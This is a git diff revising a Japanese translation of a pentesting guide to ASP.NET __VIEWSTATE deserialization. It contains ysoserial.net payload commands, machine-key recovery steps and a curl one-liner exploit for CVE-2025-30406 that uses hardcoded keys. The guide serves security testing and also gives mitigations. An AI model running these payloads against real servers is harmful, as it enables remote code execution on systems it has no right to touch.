Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-08-20 09:12:16 +00:00
parent 1457d9acc1
commit c3059dd538

View File

@ -1,7 +1,9 @@
# __VIEWSTATEの悪用(秘密を知らなくても)
# __VIEWSTATEの秘密を知らずに悪用する
{{#include ../../banners/hacktricks-training.md}}
## ViewStateとは
**ViewState**は、ASP.NETにおけるページとコントロールデータをウェブページ間で維持するためのデフォルトメカニズムです。ページのHTMLがレンダリングされる際、ページの現在の状態とポストバック中に保持される値がbase64エンコードされた文字列にシリアライズされます。これらの文字列は、隠しViewStateフィールドに配置されます。
@ -10,7 +12,7 @@ ViewState情報は、以下の特性またはその組み合わせによって
- **Base64**:
- `EnableViewStateMac``ViewStateEncryptionMode`属性の両方がfalseに設定されている場合に使用されるフォーマットです。
- **Base64 + MAC(メッセージ認証コード)有効**:
- **Base64 + MAC (メッセージ認証コード) 有効**:
- MACの有効化は、`EnableViewStateMac`属性をtrueに設定することで達成されます。これにより、ViewStateデータの整合性検証が提供されます。
- **Base64 + 暗号化**:
- `ViewStateEncryptionMode`属性がtrueに設定されている場合、暗号化が適用され、ViewStateデータの機密性が確保されます。
@ -19,10 +21,10 @@ ViewState情報は、以下の特性またはその組み合わせによって
画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示した表です。内容の概要は以下の通りです
1. **任意の.NETバージョン**において、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する方法はありません。
1. **任意の.NETバージョン**において、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する適用可能な方法はありません。
2. **4.5未満のバージョン**では、MACが有効で暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。
3. **4.5未満のバージョン**では、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - Future Development」の仕事です。
4. **4.5以上のバージョン**では、MACと暗号化のすべての組み合わせ両方がtrue、または一方がtrueで他方がfalseの場合でMachineKeyが必要です。MachineKeyは「Blacklist3r」を使用して特定できます。
3. **4.5未満のバージョン**では、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - 将来の開発」のタスクです。
4. **4.5以上のバージョン**では、MACと暗号化のすべての組み合わせ両方がtrueであるか、一方がtrueで他方がfalseであるかはMachineKeyを必要とします。MachineKeyは「Blacklist3r」を使用して特定できます。
### テストケース: 1 EnableViewStateMac=false および viewStateEncryptionMode=false
@ -38,17 +40,17 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
```
### Test case 1.5 Test case 1と同様ですが、ViewStateクッキーはサーバーによって送信されません
開発者は**ViewState**をHTTPリクエストの一部として送信ないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\
**ViewState**が**存在しない**場合、その実装は**ViewStateのデシリアライズに起因する潜在的な脆弱性**から**安全**であると仮定するかもしれません。\
開発者は**ViewState**をHTTPリクエストの一部として送信されないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\
**ViewState**が**存在しない**場合、その実装はViewStateのデシリアライズに起因する潜在的な脆弱性から**安全**であると考えるかもしれません。\
しかし、それは事実ではありません。リクエストボディに**ViewStateパラメータ**を追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すれば、**ケース1**に示されているように**コード実行**を達成することができます。
### Test Case: 2 .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
特定のページに**ViewState MAC**を**有効にする**ためには、特定のaspxファイルに以下の変更を加える必要があります
特定のページに**ViewState MAC**を**有効**にするためには、特定のaspxファイルに以下の変更を加える必要があります
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
全体のアプリケーションに対しても、以下に示すように**web.config**ファイルに設定することで実行できます:
全体のアプリケーションに対しても、以下に示すように**web.config**ファイルに設定することできます:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
@ -68,9 +70,9 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用に、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用に、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
viewstate と generator を直接提供することできます:
viewstate と generator を直接提供することできます:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
@ -100,7 +102,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
--generator = {__VIWESTATEGENERATOR parameter value}
```
サーバーによって `_VIEWSTATEGENERATOR` パラメータが **送信されない** 場合、`--generator` パラメータを **提供する必要はありませんが、これらの** パラメータは必要です:
サーバーによって`_VIEWSTATEGENERATOR`パラメータが**送信されない**場合、`--generator`パラメータを**提供する必要はありませんが、これらのパラメータは必要です**:
```bash
--apppath="/" --path="/hello.aspx"
```
@ -110,9 +112,9 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
**この場合、** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **モジュールは開発中です...**
**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**常に**_に設定されていても、ユーザーからの**暗号化**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、未暗号化のペイロードを送信しても、処理されます。**
**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**常に**_に設定されていても、ユーザーからの**暗号化されていない**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、暗号化されていないペイロードを送信しても、処理されます。**
したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) コマンドを**ケース2**で使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。
したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、**ケース2**で使用された[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。
- ViewStateのデシリアライズ脆弱性を悪用するために、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、悪用は失敗します。
@ -136,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
IISDirPathとTargetPagePathの詳細な説明については、[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
IISDirPathとTargetPagePathの詳細な説明については、[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(ジェネレーター値付き)を使用して:
```bash
@ -153,20 +155,20 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証PoCで示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認してください
ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証PoCで示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます
### テストケース 6 ViewStateUserKeysが使用されている
**ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用できます。そのようなキーがアプリケーションで定義されている場合、これまでに議論した方法で**ViewState**ペイロードを生成しようとすると、**ペイロードはアプリケーションによって処理されません**。\
ペイロードを正しく作成するために、もう1つのパラメータを使用する必要があります
ペイロードを正しく作成するために、もう1つのパラメータを使用する必要があります
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### 成功したエクスプロイトの結果 <a href="#poc" id="poc"></a>
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを取得します。
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは“**500 Internal server error**”という応答を返し、応答内容は“**このページの状態情報は無効であり、破損している可能性があります**”となり、OOB リクエストを取得します。
[さらに詳しい情報はこちらを確認してください](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
[さらなる情報はこちらを確認してください](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
### リフレクションを介したASP.NETマシンキーのダンプ (SharPyShell/SharePoint ToolShell)
@ -201,22 +203,20 @@ curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
## 2024-2025年の実世界の悪用シナリオとハードコーディングされたマシンキー
### マイクロソフトの「公開されたマシンキー」波2024年12月 2025年2月
マイクロソフトの脅威インテリジェンスは、*machineKey*が以前に公的なソースGitHub gists、ブログ投稿、ペーストサイトで漏洩していたASP.NETサイトの大規模な悪用を報告しました。敵対者はこれらのキーを列挙し、WAFの長さ制限を回避するために新しい`ysoserial.net` 1.41の`--minify`および`--islegacy`フラグを使用して有効な`__VIEWSTATE`ガジェットを生成しました
### Microsoftの「公開されたマシンキー」波2024年12月 2025年2月
Microsoft Threat Intelligenceは、*machineKey*が以前に公的なソースGitHub gists、ブログ投稿、ペーストサイトで漏洩していたASP.NETサイトの大規模な悪用を報告しました。敵対者はこれらのキーを列挙し、WAFの長さ制限を回避するために新しい`ysoserial.net` 1.41の`--minify`および`--islegacy`フラグを使用して有効な`__VIEWSTATE`ガジェットを生成しました
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
```
静的キーを回転させるか、Web .configで*AutoGenerate*キーに切り替える(`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`)ことで、このクラスの攻撃を軽減できます。 {{#ref}}
{{#endref}}
静的キーを回転させるか、Web .configで*AutoGenerate*キーに切り替えることで(`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`)、この種の攻撃を軽減できます。
### CVE-2025-30406 Gladinet CentreStack / Triofoxのハードコーディングされたキー
Kudelski Securityは、複数のCentreStack / Triofoxリリースが同一の`machineKey`値で出荷されており、ViewStateの偽造を通じて認証されていないリモートコード実行を可能にしていることを発見しましたCVE-2025-30406
ワンライナーエクスプロイト:
ワンライナーエクスプロイト
```bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
@ -225,7 +225,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
```
CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 で修正されました すぐにアップグレードするか、キーを置き換えてください。 {{#ref}}
CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 で修正されました すぐにアップグレードまたはキーを置き換えてください。 {{#ref}}
{{#endref}}